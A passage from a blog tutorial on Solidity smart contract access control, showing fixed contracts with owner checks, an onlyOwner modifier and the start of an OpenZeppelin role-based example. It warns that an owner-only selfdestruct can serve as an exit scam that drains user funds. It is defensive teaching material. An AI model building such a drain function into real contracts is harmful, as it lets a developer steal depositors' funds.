style="mso-spacerun: yes;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(msg.sender == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre></div> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: white;"> </span><o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">You will notice two changes to this contract from the original. The first change is on line 7 where a constructor sets the owner of the contract to the address of the user who deployed the contract.<span style="mso-spacerun: yes;"> </span>This constructor is only run one time when the contract is deployed. Meaning the owner cannot change.<span style="mso-spacerun: yes;"> </span>You will notice the initialization of the owner variable was also added on line 4.<o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">The second change is the usage of require statements on lines 16 and 21. The require statement on line 16 is not associated to the owner but does add a check to make sure the user requesting a withdrawal has an amount in their balances mapping which is higher than the balance they are requesting to withdraw. This fixes the issue with users withdrawing funds they do not actually have.<o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">The next require statement on line 21 makes sure to check that the user calling the Self-Destruct functionality is the owner of the contract. This prevents anyone from just killing the contract and stealing the funds from the account. <o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <h3><a name="_Toc47892516">Exit Scam Warning</a><o:p></o:p></h3> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Something still smells bad regarding this contract!! The kill function is highly suspect as it removes all of the funds in the contract and could be indicative of an "exit scheme". Whereby a malicious developer creates a contract that handles funds, for example in a game, or an online exchange. But the malicious contract is created for the sole purpose of exiting with all of the user's funds when the balance reaches a desired balance. <o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">These types of issues are something you should always take note of when you see them, and flag them during your assessment. The client might not like that you flagged their intended functionality but that is not your problem. They should know better than to have sketchy functionality and it should be called out.<span style="mso-spacerun: yes;"> </span>Even if they did not intend to use the function maliciously, it opens the door for someone else to do so. <o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <h2><a name="_Toc47892517">Example Fix-2 Using Modifiers for Simple Authentication</a></h2> <p class="MsoNormal">Another popular authorization pattern is using an onlyOwner modifier. This is often coupled with Openzeppelin security libraries, which we will take a look at in our role-based example. However, in the example below we use a modifier in a simple way to illustrate what you may see in a contract.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract simpleAuth2 {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>owner = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span>modifier onlyOwner() {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(msg.sender == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>_;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 2;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"><span style="mso-spacerun: yes;"> </span>onlyOwner{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">25.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">26.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">27.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div> <p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p> <h2><o:p> </o:p></h2> <p class="MsoNormal">This contract is also very similar to the simpleAuth contract above with a few small modifications to make it more extendable when there are a ton of functions that need authorization restrictions. These changes will also make the authorization simpler and more readable within your code.<span style="mso-spacerun: yes;"> </span>Changes in this contract are on lines 10 and 24. <o:p></o:p></p> <p class="MsoNormal">On line 10 we define a modifier named onlyOwner which we can apply to any function. This modifier code will run prior to the original functions execution. In this example the modifier simply checks that the user calling the function is the owner of the contract. You will also note the use of _; which simply signals contract to continue running the function after this modifier code is finished. <o:p></o:p></p> <p class="MsoNormal">You can apply this onlyOwner modifier to any function you wish to have authorization restrictions by simply adding onlyOwner in the function definition. You will see this on line 24. If modifiers requirement is not met the function will not be run. If the requirement is met it transfers control back to the function to continue execution. <a name="_Toc47892518"><o:p></o:p></a></p><p class="MsoNormal"><br /></p><p class="MsoNormal">WalkThrough of Fixing Authorization Issues With Modifiers: </p> <p class="MsoNormal"><span style="mso-bookmark: _Toc47892518;"><o:p> </o:p></span></p><div class="separator" style="clear: both; text-align: center;"><span style="mso-bookmark: _Toc47892518;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/cHJd_8EsMxM" width="320" youtube-src-id="cHJd_8EsMxM"></iframe></span></div><span style="mso-bookmark: _Toc47892518;"><br /></span><p></p> <h2><span style="mso-bookmark: _Toc47892518;">Example Using Openzeppelin for Role Based Access Control:</span></h2> <p class="MsoNormal">The best way to cover your security needs as always is with well-audited, open source security libraries. One option we have for a bit more complex authorization is the Openzeppelin libraries located at: <o:p></o:p></p> <p class="MsoNormal"><a href="https://github.com/OpenZeppelin/openzeppelin-contracts">https://github.com/OpenZeppelin/openzeppelin-contracts</a><o:p></o:p></p> <p class="MsoNormal">For the previous examples you could have replicated the simple authorization with the ownable contract by OpenZeppelin by importing its functionality in the same way you would import library functionality in any other language. <o:p></o:p></p> <p class="MsoNormal">Since we already looked at a simple example without OpenZeppelin, lets instead take a look at role-based authorization using OpenZeppelin. Role based authorization a bit more involved, but not complicated.<span style="mso-spacerun: yes;"> </span>Let's take a look at a simple example. <o:p></o:p></p> <p class="MsoNormal">Before you read the descriptions type out the role-based code below in remix and try to figure out what's happening on your own by deploying this contract and playing with its functionality and see if you can understand how it works. <o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">Action Steps to deploy: <o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Open up remix in your browser</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Type out the following code and the import will import all of the OpenZeppelin files in a directory within remix automatically</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->With your first account, make sure to compile this with the newest version of Solidity that OpenZepplin files are using at the time of writing this was 0.6.2. I used version 0.6.6 without any issues. If versions change in the future you will get an error. Review the error and update the compiler version and pragma version in the code appropriately. But always use the latest version of OpenZepplin files. </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Take a look at the created users and make assumptions as to what each user has access to</p><p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Play with each function under both the admin and the user context with the first account and another account of your choice. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">import</span><span style="color: white;"> </span><span style="color: #65b042;">"https://github.com/OpenZeppelin/openzeppelin-</span><span style="color: white;"><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: #65b042;"><span style="mso-tab-count: 1;"> </span>contracts/blob/master/contracts/access/AccessControl.sol"</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 